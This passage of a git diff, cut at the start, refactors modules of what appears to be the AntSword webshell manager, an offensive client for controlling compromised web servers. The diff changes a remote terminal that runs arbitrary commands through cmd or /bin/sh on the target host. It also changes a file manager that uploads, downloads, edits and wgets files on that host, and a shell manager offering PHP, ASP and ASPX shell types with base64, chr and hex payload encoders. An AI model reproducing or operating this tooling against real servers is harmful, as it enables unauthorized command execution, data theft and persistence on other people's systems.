${LANG['createFolder']['title']}` }, (value, i, e) => { this.files.cell.progressOn(); - this.core.filemanager.mkdir({ - path: this.path + value - }, (ret) => { + this.core.request( + this.core.filemanager.mkdir({ + path: this.path + value + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); @@ -316,7 +400,7 @@ class FileManager { }else{ toastr.error(LANG['createFolder']['error'](value, ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { toastr.error(LANG['createFolder']['error'](value, err), LANG_T['error']); }); layer.close(i); @@ -330,10 +414,15 @@ class FileManager { title: ` ${LANG['createFile']['title']}` }, (value, i, e) => { this.files.cell.progressOn(); - this.core.filemanager.create_file({ - path: this.path + value, - content: '\0' - }, (ret) => { + + // 发起http请求 + this.core.request( + this.core.filemanager.create_file({ + path: this.path + value, + content: 'Halo ANT!' + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); @@ -341,7 +430,7 @@ class FileManager { }else{ toastr.error(LANG['createFile']['error'](value, ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { toastr.error(LANG['createFile']['error'](value, err), LANG_T['error']); }); layer.close(i); @@ -356,10 +445,15 @@ class FileManager { content: `` }, (value, i, e) => { this.files.cell.progressOn(); - this.core.filemanager.retime({ - path: this.path + name, - time: value - }, (ret) => { + + // http request + this.core.request( + this.core.filemanager.retime({ + path: this.path + name, + time: value + }) + ).then((res) => { + let ret = res['text']; this.files.cell.progressOff(); if (ret === '1') { this.files.refreshPath(); @@ -367,7 +461,7 @@ class FileManager { }else{ toastr.error(LANG['retime']['error'](name, ret === '0' ? false : ret), LANG_T['error']); } - }, (err) => { + }).catch((err) => { toastr.error(LANG['retime']['error'](name, err), LANG_T['error']); }); layer.close(i); @@ -384,16 +478,18 @@ class FileManager { win.cell.lastChild['style']['textAlign'] = 'center'; let data = 'data:image/png;base64,'; let buff = ''; - this.core.filemanager.download_file({ - path: path - }, (ret, buff) => { - let imgData = new Buffer(buff).toString('base64'); + + this.core.request( + this.core.filemanager.download_file() + , (chunk) => { + buff += chunk; + let imgData = data + new Buffer(buff).toString('base64'); + } + ).then((res) => { + let imgData = new Buffer(res['buff']).toString('base64'); win.attachHTMLString(``); - }, (err) => { + }).catch((err) => { - }, (chunk) => { - buff += chunk; - let imgData = data + new Buffer(buff).toString('base64'); }); } @@ -408,41 +504,39 @@ class FileManager { }, (filePath) => { if (!filePath) { return task.end(LANG['download']['task']['cancel']) }; task.update(LANG['download']['task']['start']); - // setTimeout(() => { - let down_size = 0; - this.core.filemanager.download_file({ + let down_size = 0; + // 删除旧文件(如果存在 + if (fs.existsSync(filePath)) { + fs.unlinkSync(filePath); + } + this.core.download( + filePath + , this.core.filemanager.download_file({ path: path - }, (ret, buff) => { - // 保存文件 - // fs.writeFileSync(filePath+'_bak', new global.Buffer(buff)); - // 检测文件大小是否一致 - if (buff.length === size) { - task.success(LANG['download']['task']['success']); - toastr.success(LANG['download']['success'](name), LANG_T['success']); - }else if (buff.length === 21) { - task.failed(buff.toString()); - }else{ - // task.failed(`FileSize(${buff.length} != ${size}`); - task.failed(LANG['download']['task']['error'](`SizeErr: ${buff.length} != ${size}`)) - } - }, (err) => { - task.failed(LANG['download']['task']['error'](err)); - toastr.error(LANG['download']['error'](name, err), LANG_T['error']); - }, (chunk) => { - // 写入文件 - fs.writeFileSync(filePath, new global.Buffer(chunk), { - flag: 'a' - }); + }) + , (_size) => { // 计算进度百分比 - down_size += chunk.length; + down_size += _size; let down_progress = parseInt(parseFloat(down_size / size).toFixed(2) * 100); if (!(down_progress % 5)) { task.update(down_progress + '%'); }; - // task.update(`${parseFloat(down_size/size).toFixed(0) * 100} %`); - }); - // }, 200); + } + ).then((_size) => { + if (_size === size) { + task.success(LANG['download']['task']['success']); + toastr.success(LANG['download']['success'](name), LANG_T['success']); + // }else if (_size === 21) { + // task.failed('len=' + _size); + }else{ + throw Error(`SizeErr: ${_size} != ${size}`); + // task.failed(LANG['download']['task']['error']()) + } + }).catch((err) => { + task.failed(LANG['download']['task']['error'](err)); + toastr.error(LANG['download']['error'](name, err), LANG_T['error']); + }); }); } @@ -472,19 +566,24 @@ class FileManager { }; const task = this.tasks.new(LANG['wget']['task']['name'], `${url} -> ${path}`); task.update(LANG['wget']['task']['start']); - this.core.filemanager.wget({ - url: url, - path: path - }, (ret) => { - // 下载成功?当前目录?刷新:删除缓存 - if (ret === '1') { - task.success(LANG['wget']['task']['success']); - let _ = path.substr(0, path.lastIndexOf('/') + 1); - this.files.refreshPath((_ === self.path) ? false : _); - }else{ - task.failed(LANG['wget']['task']['failed'](ret)); - } - }, (err) => { + + // http request + this.core.request( + this.core.filemanager.wget({ + url: url, + path: path + }) + ).then((res) => { + let ret = res['text']; + // 下载成功?当前目录?刷新:删除缓存 + if (ret === '1') { + task.success(LANG['wget']['task']['success']); + let _ = path.substr(0, path.lastIndexOf('/') + 1); + this.files.refreshPath((_ === self.path) ? false : _); + }else{ + task.failed(LANG['wget']['task']['failed'](ret)); + } + }).catch((err) => { task.failed(LANG['wget']['task']['error'](err)); }); layer.close(i); @@ -493,83 +592,109 @@ class FileManager { $(`#layui-layer${_index}`).css('width', '400px'); } - // 上传文件 - uploadFile() { - const path = this.path; + /** + * 上传文件 + * @param {Array} _filePaths 要上传的本地文件路径(可选,如未指定,则调用文件选择框 + * @return {None} [description] + */ + uploadFile(_filePaths) { + // 任务列表 let tasks = {}; - const upload = (filePaths) => { - if (!filePaths[0]) { - return false; - }; - const filePath = filePaths[0]; - - let i = 0; - let buff = []; - // 数据分段上传,一次上传512kb=1024*512 - let split = 1024 * 512; - const task = tasks[filePath]; - // 获取文件名 - const fileName = filePath.substr(filePath.lastIndexOf('/') + 1); - let fileBuff; - // 读取文件buffer - try{ - fileBuff = fs.readFileSync(filePath); - }catch(e) { - return task.failed(e); + // 上传路径 + let path = this.path; + new Promise((res, rej) => { + // 获取要上传的文件列表 + if (Array.isArray(_filePaths) && _filePaths.length > 0) { + return res(_filePaths); } - - while (true) { - const _ = fileBuff.slice(i, i + split); - i += split; - if (_.length === 0) { break }; - buff.push(_); - } - - const all_num = buff.length; - const upload_func = (arr) => { - if (!arr[0]) { - // 上传完毕 - task.success('100%'); - // 刷新目录 - toastr.success(LANG['upload']['success'](fileName), LANG_T['success']); - // 刷新目录缓存 - this.files.refreshPath(path === this.path ? '' : path); - return upload(filePaths); - }; - // 更新进度条 - task.update(`${parseInt((all_num - arr.length) / all_num * 100)}%`); - // 开始上传分段数据 - this.core.filemanager.upload_file({ - path: path + fileName, - content: arr[0] - }, (ret) => { - if (ret === '1') { - // 继续上传 - arr.shift(); - upload_func(arr); - }else{ - task.failed(LANG['upload']['task']['failed'](ret)); - toastr.error(LANG['upload']['error'](fileName, ret === '0' ? '' : '
' + ret), LANG_T['error']); + dialog.showOpenDialog({ + properties: [ 'openFile', 'multiSelections' ] + }, (_filePaths) => { + if (!_filePaths) { return }; + return res(_filePaths); + }) + }).then((filePaths) => { + // 初始化任务 + filePaths.map((f) => { + const fileName = f.substr(f.lastIndexOf('/') + 1); + tasks[f] = this.tasks.new(LANG['upload']['task']['name'], `${fileName} => ${path}`, 'Waiting for uploading..'); + }); + return filePaths; + }).then((filePaths) => { + // 文件上传(逐个队列上传 + const upload = () => { + new Promise((res, rej) => { + // 获取单个上传文件 + let filePath = filePaths.shift(); + if (filePath) { + res(filePath); + } + }).then((filePath) => { + // 上传单个 + let buffIndex = 0; + let buff = []; + // 分段上传大小,默认1M + let dataSplit = 1024 * 1024; + let task = tasks[filePath]; + // 获取文件名 + let fileName = filePath.substr(filePath.lastIndexOf('/') + 1); + // 读取文件buff + let fileBuff; + try { + fileBuff = fs.readFileSync(filePath); + } catch (e) { + return task.failed(e); + } + // 文件数据分段 + let buffLength = fileBuff.length; + while (buffIndex <= buffLength) { + let buffSplit = fileBuff.slice(buffIndex, buffIndex + dataSplit); + buffIndex += dataSplit; + buff.push(buffSplit); + } + // 开始上传 + const uploadBuffFunc = (_buff) => { + new Promise((res, rej) => { + let _b = _buff.shift(); + if (_b) { + res(_b); + }else{ + // 上传完毕 + task.success('100%'); + toastr.success(LANG['upload']['success'](fileName), LANG_T['success']); + // 刷新缓存 + this.files.refreshPath(path === this.path ? '' : path); + // 继续上传 + return upload(); + } + }).then((b) => { + // 更新进度条 + task.update(`${parseInt((buffLength - _buff.length) / buffLength * 100)}%`); + this.core.request( + this.core.filemanager.upload_file({ + path: path + fileName, + content: b + }) + ).then((res) => { + let ret = res['text']; + if (ret === '1') { + return uploadBuffFunc(_buff); + } + task.failed(LANG['upload']['task']['failed'](ret)); + toastr.error(LANG['upload']['error']( + fileName, + ret === '0' ? '' : `
${ret}` + ), LANG_T['error']); + }).catch((err) => { + task.failed(LANG['upload']['task']['error'](err)); + toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']); + }); + }) } - }, (err) => { - task.failed(LANG['upload']['task']['error'](err)); - toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']); + uploadBuffFunc(buff); }); - } - - upload_func(buff); - filePaths.shift(); - } - dialog.showOpenDialog({ - properties: [ 'openFile', 'multiSelections' ] - }, (filePaths) => { - if (!filePaths) { return }; - // 逐个文件上传 - filePaths.map((_) => { - const fileName = _.substr(_.lastIndexOf('/') + 1); - tasks[_] = this.tasks.new(LANG['upload']['task']['name'], `${fileName} => ${path}`, '准备上传..'); - }); - upload(filePaths); + }; + upload(); }); } @@ -590,34 +715,13 @@ class FileManager { // 检测文件后缀 let ext = name.substr(name.lastIndexOf('.') + 1); let ext_dict = { - 'php': 'php', - 'c': 'c_cpp', - 'cpp': 'c_cpp', - 'h': 'c_cpp', - 'coffee': 'coffee', - 'cfm': 'coldfusion', - 'css': 'css', - // 'ejs': 'ejs', - 'go': 'golang', - 'html': 'html', - 'ini': 'ini', - 'conf': 'ini', - 'jade': 'jade', - 'java': 'java', - 'js': 'javascript', - 'json': 'json', - 'jsp': 'jsp', - 'jsx': 'jsx', - 'less': 'less', - 'lua': 'lua', - 'md': 'markdown', - 'sql': 'sql', - 'pl': 'perl', - 'py': 'python', - 'rb': 'ruby', - 'sh': 'sh', - 'txt': 'text', - 'xml': 'xml' + 'php': 'php', 'c': 'c_cpp', 'cpp': 'c_cpp', 'h': 'c_cpp', + 'coffee': 'coffee', 'cfm': 'coldfusion', 'css': 'css', + 'go': 'golang', 'html': 'html', 'ini': 'ini', 'conf': 'ini', + 'jade': 'jade', 'java': 'java', 'js': 'javascript', 'json': 'json', + 'jsp': 'jsp', 'jsx': 'jsx', 'less': 'less', 'lua': 'lua', 'md': 'markdown', + 'sql': 'sql', 'pl': 'perl', 'py': 'python', 'rb': 'ruby', + 'sh': 'sh', 'txt': 'text', 'xml': 'xml' } if (!(ext in ext_dict)) { ext = 'txt' }; // 创建窗口工具栏 @@ -665,21 +769,24 @@ class FileManager { if (id === 'save') { // 保存代码 win.progressOn(); - // self.ajax( - self.core.filemanager.create_file({ - path: path, - content: editor.session.getValue() || '\0' - }, (ret) => { - win.progressOff(); - if (ret === '1') { - toastr.success(LANG['editor']['success'](path), LANG_T['success']); - // 刷新目录(显示更改时间、大小等) - self.files.refreshPath(); - }else{ - toastr.error(LANG['editor']['error'](path, ret === '0' ? '' : '
' + ret), LANG_T['error']); - } + self.core.request( + self.core.filemanager.create_file({ + path: path, + content: editor.session.getValue() || 'Halo ANT!' + }) + ).then((res) => { + let ret = res['text']; + win.progressOff(); + if (ret === '1') { + toastr.success(LANG['editor']['success'](path), LANG_T['success']); + // 刷新目录(显示更改时间、大小等) + self.files.refreshPath(); + }else{ + toastr.error(LANG['editor']['error'](path, ret === '0' ? '' : '
' + ret), LANG_T['error']); } - ) + }).catch((err) => { + + }); }else if (id.startsWith('mode_')) { let mode = id.split('_')[1]; editor.session.setMode(`ace/mode/${mode}`); @@ -692,9 +799,12 @@ class FileManager { }); // 获取文件代码 - this.core.filemanager.read_file({ - path: path - }, (ret) => { + this.core.request( + this.core.filemanager.read_file({ + path: path + }) + ).then((res) => { + let ret = res['text']; codes = ret; win.progressOff(); @@ -732,7 +842,7 @@ class FileManager { clearInterval(inter); return true; }); - }, (err) => { + }).catch((err) => { toastr.error(LANG['editor']['loadErr'](err), LANG_T['error']); win.close(); }); @@ -761,4 +871,4 @@ class FileManager { } -export default FileManager; \ No newline at end of file +export default FileManager; diff --git a/source/modules/settings/aproxy.jsx b/source/modules/settings/aproxy.jsx index 59842f4d..93ebc536 100644 --- a/source/modules/settings/aproxy.jsx +++ b/source/modules/settings/aproxy.jsx @@ -106,17 +106,19 @@ class AProxy { _aproxyauth = _formvals['username'] + ":" + _formvals['password']; } var _aproxyuri = _formvals['protocol'] + '://' + _aproxyauth + '@' +_server + ':' + _formvals['port']; + var hash = (String(+new Date) + String(Math.random())).substr(10, 10).replace('.', '_'); antSword['ipcRenderer'] - .on('aproxytest-error', (event, err) => { + .on(`aproxytest-error-${hash}`, (event, err) => { layer.close(loadindex); toastr.error(LANG['prompt']['error']+ "\n" + err['code'], LANG_T['error']); }) - .on('aproxytest-success', (event, ret) => { + .on(`aproxytest-success-${hash}`, (event, ret) => { layer.close(loadindex); toastr.success(LANG['prompt']['success'], LANG_T['success']); }) .send('aproxytest',{ + hash: hash, url: testurl || 'http://uyu.us', aproxyuri: _aproxyuri }); diff --git a/source/modules/settings/language.jsx b/source/modules/settings/language.jsx index f2fbbedb..c733f6f3 100644 --- a/source/modules/settings/language.jsx +++ b/source/modules/settings/language.jsx @@ -1,6 +1,6 @@ -// -// 语言设置 -// +/** + * 语言设置 + */ const LANG = antSword['language']['settings']['language']; const LANG_T = antSword['language']['toastr']; @@ -22,14 +22,22 @@ class Language { ]); // 表单 - const _language = localStorage.getItem('language') || 'en'; + const _language = antSword['storage']('language', false, 'en'); const form = cell.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 100, inputWidth: 150 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ - { type: 'combo', label: LANG['form']['label'], readonly: true, name: 'language', options: [ - { text: LANG['form']['zh'], value: 'zh', selected: _language === 'zh' }, - { text: LANG['form']['en'], value: 'en', selected: _language === 'en' } - ] } + { type: 'combo', label: LANG['form']['label'], readonly: true, name: 'language', + options: (() => { + let _ = []; + for (let l in antSword['language']['__languages__']) { + _.push({ + text: antSword['language']['__languages__'][l], + value: l, + selected: _language === l + }); + } + return _; + })() } ]} ], true); @@ -54,4 +62,4 @@ class Language { } } -export default Language; \ No newline at end of file +export default Language; diff --git a/source/modules/shellmanager/index.jsx b/source/modules/shellmanager/index.jsx index 90d16448..988d32ac 100644 --- a/source/modules/shellmanager/index.jsx +++ b/source/modules/shellmanager/index.jsx @@ -1,6 +1,6 @@ -// +// // Shell管理模块 -// +// 'use strict'; @@ -40,7 +40,7 @@ class ShellManager { antSword['menubar'].reg('shell-add', this::this.addData); this.loadData(); - + } // 清空缓存 clearCache(id) { @@ -123,37 +123,30 @@ class ShellManager { })() }, { type: 'combo', label: LANG['list']['add']['form']['type'], name: 'type', readonly: true, options: (() => { let ret = []; - [ - { name: 'php', encoder: ['base64', 'chr'] }, - { name: 'asp', encoder: [] }, - { name: 'aspx', encoder: [] }, - // { name: 'jsp', encoder: [] }, - // { name: 'py', encoder: [] }, - // { name: 'cfm', encoder: [] }, - // { name: 'nodejs', encoder: ['base64', 'aes', 'urlencode'] }, - { name: 'custom', encoder: ['base64', 'hex'] } - ].map((_) => { - let obj = { - text: _['name'].toUpperCase(), - value: _['name'], - selected: _['name'] === 'php', - list: [ - { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, - { type: 'label', label: LANG['list']['add']['form']['encoder'] }, - { type: 'radio', name: 'encoder_' + _['name'], value: 'default', label: 'default', checked: true } - ] - }; - // 编码器对象 - _['encoder'].map((e) => { - obj['list'].push({ - type: 'radio', - name: 'encoder_' + _['name'], - value: e, - label: e - }); + for (let c in antSword['core']) { + let encoders = antSword['core'][c].prototype.encoders; + ret.push({ + text: c.toUpperCase(), + value: c, + selected: c === 'php', + list: ((c) => { + let _ = [ + { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, + { type: 'label', label: LANG['list']['add']['form']['encoder'] }, + { type: 'radio', name: `encoder_${c}`, value: 'default', label: 'default', checked: true } + ]; + encoders.map((e) => { + _.push({ + type: 'radio', + name: `encoder_${c}`, + value: e, + label: e + }) + }); + return _; + })(c) }); - ret.push(obj); - }); + } return ret; })() } ]} @@ -245,35 +238,38 @@ class ShellManager { return ret; })() }, { type: 'combo', label: LANG['list']['edit']['form']['type'], name: 'type', readonly: true, options: (() => { + let ret = []; - [ - { name: 'php', encoder: ['base64', 'chr'] }, - { name: 'asp', encoder: [] }, - { name: 'aspx', encoder: [] }, - { name: 'custom', encoder: ['base64', 'hex'] } - ].map((_) => { - let obj = { - text: _['name'].toUpperCase(), - value: _['name'], - selected: data['type'] === _['name'], - list: [ - { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, - { type: 'label', label: LANG['list']['edit']['form']['encoder'] }, - { type: 'radio', name: 'encoder_' + _['name'], value: 'default', label: 'default', checked: (data['encoder'] === 'default') || (_['name'] !== data['type']) || (!_['encoder'].indexOf(data['encoder'])) } - ] - }; - // 编码器对象 - _['encoder'].map((e) => { - obj['list'].push({ - type: 'radio', - name: 'encoder_' + _['name'], - value: e, - label: e, - checked: data['encoder'] === e - }); + for (let c in antSword['core']) { + let encoders = antSword['core'][c].prototype.encoders; + ret.push({ + text: c.toUpperCase(), + value: c, + selected: data['type'] === c, + list: ((c) => { + let _ = [ + { type: 'settings', position: 'label-right', offsetLeft: 60, labelWidth: 100 }, + { type: 'label', label: LANG['list']['add']['form']['encoder'] }, + { type: 'radio', name: `encoder_${c}`, value: 'default', label: 'default', + checked: ( + data['encoder'] === 'default') || + (c !== data['type']) || + (!encoders.indexOf(data['encoder'])) + } + ]; + encoders.map((e) => { + _.push({ + type: 'radio', + name: `encoder_${c}`, + value: e, + label: e, + checked: data['encoder'] === e + }) + }); + return _; + })(c) }); - ret.push(obj); - }); + } return ret; })() } ]} @@ -440,4 +436,4 @@ class ShellManager { } -export default ShellManager; \ No newline at end of file +export default ShellManager; diff --git a/source/modules/terminal/index.jsx b/source/modules/terminal/index.jsx index 0b5c5c5b..b28e60e5 100644 --- a/source/modules/terminal/index.jsx +++ b/source/modules/terminal/index.jsx @@ -1,44 +1,36 @@ -// -// 虚拟终端模块 -// +/** + * 虚拟终端模块 + * 更新:2016/04/13 + * 作者:蚁逅 + */ -// import React from 'react'; -// import ReactDOM from 'react-dom'; - -const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['terminal']; -// const ipcRenderer = antSword['ipcRenderer']; +const LANG_T = antSword['language']['toastr']; class Terminal { constructor(opts) { - const tabbar = antSword['tabbar']; + // 生存一个随机ID,用于标识多个窗口dom const hash = String(Math.random()).substr(2, 10); + // 初始化UI::tabbar + const tabbar = antSword['tabbar']; tabbar.addTab( `tab_terminal_${hash}`, - // ` ${LANG['title']} \/\/ ${opts['ip']}`, ` ${opts['ip']}`, null, null, true, true ); tabbar.attachEvent('onTabClick', (id,lid) => { - if (id === `tab_terminal_${hash}`) { - this.term ? this.term.focus() : 0; - }; + if (id !== `tab_terminal_${hash}`) { return }; + this.term ? this.term.focus() : 0; }); - + // 初始化UI::cell const cell = tabbar.cells(`tab_terminal_${hash}`); - // ReactDOM.render( - //
- // , cell.cell - // ); cell.attachHTMLString(` -
+
`); this.path = ''; @@ -48,160 +40,187 @@ class Terminal { this.cell = cell; this.isWin = true; this.core = new antSword['core'][opts['type']](opts); - this.cache = new antSword['CacheManager'](this.opts['_id']); - // this.initTerminal($(`#div_terminal_${hash}`)); - // 获取缓存::info - const dom = $(`#div_terminal_${hash}`); - const cache_info = this.cache.get('info'); - if (cache_info) { - this.initTerminal(cache_info, dom); - }else{ - this.cell.progressOn(); - this.core.base.info((ret) => { - this.cell.progressOff(); - // 判断获取数据是否正确 - // let info = ret.split('\t'); - // if (info.length !== 4) { - // toastr.error('Loading infomations failed!', LANG_T['error']); - // return this.cell.close(); - // }; - // 更新缓存 - this.cache.set('info', ret); - // ipcRenderer.sendSync('cache-add', { - // id: this.opts['id'], - // tag: 'info', - // cache: ret - // }); - // 初始化终端 - this.initTerminal(ret, dom); - }, (err) => { + + this + .getInformation() + .then((ret) => { + this.initTerminal(ret['info'], ret['dom']); + }) + .catch((err) => { toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']); this.cell.progressOff(); this.cell.close(); + }) + } + + /** + * 获取目标信息 + * @return {Promise} 返回一个Promise操作对象//{dom,info} + */ + getInformation() { + return new Promise((ret, rej) => { + // 获取DOM + const dom = $(`#div_terminal_${this.hash}`); + // 获取缓存 + let infoCache = this.cache.get('info'); + // 如果有缓存?初始化终端:获取信息&&保存缓存&&初始化终端 + if (infoCache) { + return ret({ + dom: dom, + info: infoCache + }); + } + // 开始获取信息 + this.cell.progressOn(); + this.core.request( + this.core.base.info() + ).then((_ret) => { + this.cell.progressOff(); + this.cache.set('info', _ret['text']); + return ret({ + dom: dom, + info: _ret['text'] + }); + }).catch((e) => { + rej(e); }); - } + }); } - // 初始化终端 + /** + * 初始化终端 + * @param {String} ret 目标信息 + * @param {Object} dom 要操作的dom元素 + * @return {None} [description] + */ initTerminal(ret, dom) { - // this.cell.progressOn(); - // // 获取缓存info - // const _info = ipcRenderer.sendSync('cache-get', { - // id: this.opts['id'], - // tag: 'info' - // }); - // this.core.base.info((ret) => { - // this.cell.progressOff(); - let info = ret.split('\t'); - let info_user; - let info_path; - let info_drive; - let info_system; - // 解析banner - let banner = `[[b;cyan;](*) ${LANG['banner']['title']}]`; - // 判断获取数据是否正确 - if (info.length === 4) { - info_user = info[3]; - info_path = info[0]; - info_drive = info[1]; - info_system = info[2]; - }else if (info.length === 2) { - info_path = info[0]; - info_drive = info[1]; - }else{ - toastr.error('Loading infomations failed!
' + ret, LANG_T['error']); - this.cache.del('info'); - return this.cell.close(); - }; - info_path = info_path.replace(/\\/g, '/').replace(/\.$/, ''); - // 判断是否为linux - if (info_path.substr(0, 1) === '/') { - this.isWin = false; + let info = ret.split('\t'); + let infoUser, infoPath, infoDrive, infoSystem; + let banner = `[[b;cyan;](*) ${LANG['banner']['title']}]`; + + // 判断数据是否正确 + if (info.length === 4) { + infoPath = info[0]; + infoDrive = info[1]; + infoSystem = info[2]; + infoUser = info[3]; + } else if (info.length === 2) { + infoPath = info[0]; + infoDrive = info[1]; + } else { + toastr.error('Loading infomations failed!
' + ret, LANG_T['error']); + this.cache.del('info'); + return this.cell.close(); + } + + // 转换路径特殊字符 + infoPath = infoPath.replace(/\\/g, '/').replace(/\.$/, ''); + + // 判断是否为!win + this.isWin = !(infoPath.substr(0, 1) === '/') + this.path = infoPath; + + // 组合banner + banner += `\n[[b;#99A50D;]${LANG['banner']['path']}]: [[;#C3C3C3;]${infoPath}]`; + banner += `\n[[b;#99A50D;]${LANG['banner']['drive']}]: [[;#C3C3C3;]${infoDrive}]`; + if (info.length === 4) { + banner += `\n[[b;#99A50D;]${LANG['banner']['system']}]: [[;#C3C3C3;]${infoSystem}]`; + banner += `\n[[b;#99A50D;]${LANG['banner']['user']}]: [[;#C3C3C3;]${infoUser}]`; + } + + // 初始化终端 + this.term = dom.terminal( (cmd, term) => { + if (!cmd) { return false }; + // 如果为exit||quit则关闭窗口 + if (cmd === 'exit' || cmd === 'quit') { return this.cell.close() }; + term.pause(); + // 是否有缓存 + let cacheTag = 'command-' + new Buffer(this.path + cmd).toString('base64'); + let cacheCmd; + if (cacheCmd = this.cache.get(cacheTag)) { + term.echo( + antSword.noxss(cacheCmd) + ); + return term.resume(); }; - this.path = info_path; - banner += `\n[[b;#99A50D;]${LANG['banner']['path']}]: [[;#C3C3C3;]${info_path}]`; - banner += `\n[[b;#99A50D;]${LANG['banner']['drive']}]: [[;#C3C3C3;]${info_drive}]`; - if (info.length === 4) { - banner += `\n[[b;#99A50D;]${LANG['banner']['system']}]: [[;#C3C3C3;]${info_system}]`; - banner += `\n[[b;#99A50D;]${LANG['banner']['user']}]: [[;#C3C3C3;]${info_user}]`; - } - // 初始化终端 - this.term = dom.terminal( (cmd, term) => { - if (!cmd) { return false }; - // 如果为exit||quit则关闭窗口 - if (cmd === 'exit' || cmd === 'quit') { return this.cell.close() }; - term.pause(); - // 是否有缓存 - let cache_tag = 'command-' + new Buffer(this.path + cmd).toString('base64'); - let cache_cmd; - if (cache_cmd = this.cache.get(cache_tag)) { - term.echo(antSword.noxss(cache_cmd)); - return term.resume(); - }; + + // 开始执行命令 + this.core.request( this.core.command.exec({ - cmd: this.parseCmd(cmd, this.path), - bin: this.isWin ? 'cmd' : '/bin/sh' - }, (_) => { - // 解析出命令执行路径 - const index_s = _.indexOf('[S]'); - const index_e = _.lastIndexOf('[E]'); - let _path = _.substr(index_s + 3, index_e - index_s - 3); - - - // let _sindex = _.indexOf('[S]') + 3; - // let _eindex = _.indexOf('[E]'); - // let _path = _.substr(_sindex, _eindex - _sindex); - let output = _.replace(`[S]${_path}[E]`, ''); - _path = _path.replace(/\n/g, '').replace(/\r/g, ''); - - this.path = _path || this.path; - term.set_prompt(this.parsePrompt(info_user)); - - // let output = _.substr(0, _sindex - 3).replace(/\n$/, ''); - // 去除换行符 - [/\n\n$/, /^\n\n/, /\r\r$/, /^\r\r/, /\r\n$/, /^\r\n/, /\n\r$/, /^\n\r/, /\r$/, /^\r/, /\n$/, /^\n/].map((_) => { - output = output.replace(_, ''); - }); - // output = output.replace(/\n$/, '').replace(/^\n/, '').replace(/^\r/, '').replace(/\r$/, '').; - if (output.length > 0) { - term.echo(antSword.noxss(output)); - // 保存最大100kb数据 - if (output.length < (1024 * 1024)) { - this.cache.set(cache_tag, output); - }; - }; - term.resume(); - }, (_) => { - term.error('ERR: ' + (_ instanceof Object) ? JSON.stringify(_) : String(_)); - term.resume(); - } - ) - }, { - greetings: banner, - name: `terminal_${this.hash}`, - prompt: this.parsePrompt(info_user), - exit: false + cmd: this.parseCmd(cmd, this.path), + bin: this.isWin ? 'cmd' : '/bin/sh' + }) + ).then((ret) => { + let _ = ret['text']; + // 解析出命令执行路径 + const indexS = _.indexOf('[S]'); + const indexE = _.lastIndexOf('[E]'); + let _path = _.substr(indexS + 3, indexE - indexS - 3); + + let output = _.replace(`[S]${_path}[E]`, ''); + _path = _path.replace(/\n/g, '').replace(/\r/g, ''); + + this.path = _path || this.path; + term.set_prompt(this.parsePrompt(infoUser)); + + // 去除换行符 + [ + /\n\n$/, /^\n\n/, /\r\r$/, + /^\r\r/, /\r\n$/, /^\r\n/, + /\n\r$/, /^\n\r/, /\r$/, + /^\r/, /\n$/, /^\n/ + ].map((_) => { + output = output.replace(_, ''); + }); + if (output.length > 0) { + term.echo( + antSword.noxss(output) + ); + // 保存最大100kb数据 + if (output.length < (1024 * 1024)) { + this.cache.set(cacheTag, output); + }; + }; + term.resume(); + }).catch((e) => { + term.error('ERR: ' + (_ instanceof Object) ? JSON.stringify(_) : String(_)); + term.resume(); }); - // }, (err) => { - // toastr.error(err, LANG_T['error']); - // this.cell.progressOff(); - // this.cell.close(); - // }); + }, { + greetings: banner, + name: `terminal_${this.hash}`, + prompt: this.parsePrompt(infoUser), + exit: false + }); } - // 生成CMD代码 + /** + * 根据执行命令&&路径生成最终command + * @param {String} cmd 要执行的命令 + * @param {String} path 当前路径 + * @return {String} 最终执行命令 + */ parseCmd(cmd, path) { path = path.replace(/\\\\/g, '\\').replace(/"/g, '\\"').replace(/\\/g, '\\\\'); - return this.isWin ? `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` : `cd "${path}";${cmd};echo [S];pwd;echo [E]`; + return (this.isWin + ? `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` + : `cd "${path}";${cmd};echo [S];pwd;echo [E]` + ); } - // 生成路径提示 + /** + * 生成路径提示符 + * @param {String} user 当前用户名 + * @return {String} term输出字符串 + */ parsePrompt(user) { - let ret = this.isWin ? '[[b;white;]' + this.path.replace(/\//g, '\\') + '> ]' : (user ? ('([[b;#E80000;]' + user + ']:[[;#0F93D2;]') : '[[;0F93D2;]') + this.path + ']) $ '; - return antSword.noxss(ret); + return antSword.noxss(this.isWin + ? `[[b;white;]${this.path.replace(/\//g, '\\')}> ]` + : (user ? `([[b;#E80000;]${user}]:[[;#0F93D2;]` : '[[;0F93D2;]') + this.path + ']) $ ' + ); } } -export default Terminal; \ No newline at end of file +export default Terminal; diff --git a/static/css/index.css b/static/css/index.css index f0bc45a7..6b09abd9 100644 --- a/static/css/index.css +++ b/static/css/index.css @@ -163,4 +163,4 @@ html, body, #container, #loading { -ms-transform: translate(0, -6.25px); transform: translate(0, -6.25px); top: 25px; - left: 100px; } \ No newline at end of file + left: 100px; } diff --git a/views/index.html b/views/index.html index 2f1adf88..609e4f4d 100644 --- a/views/index.html +++ b/views/index.html @@ -30,4 +30,4 @@
- \ No newline at end of file +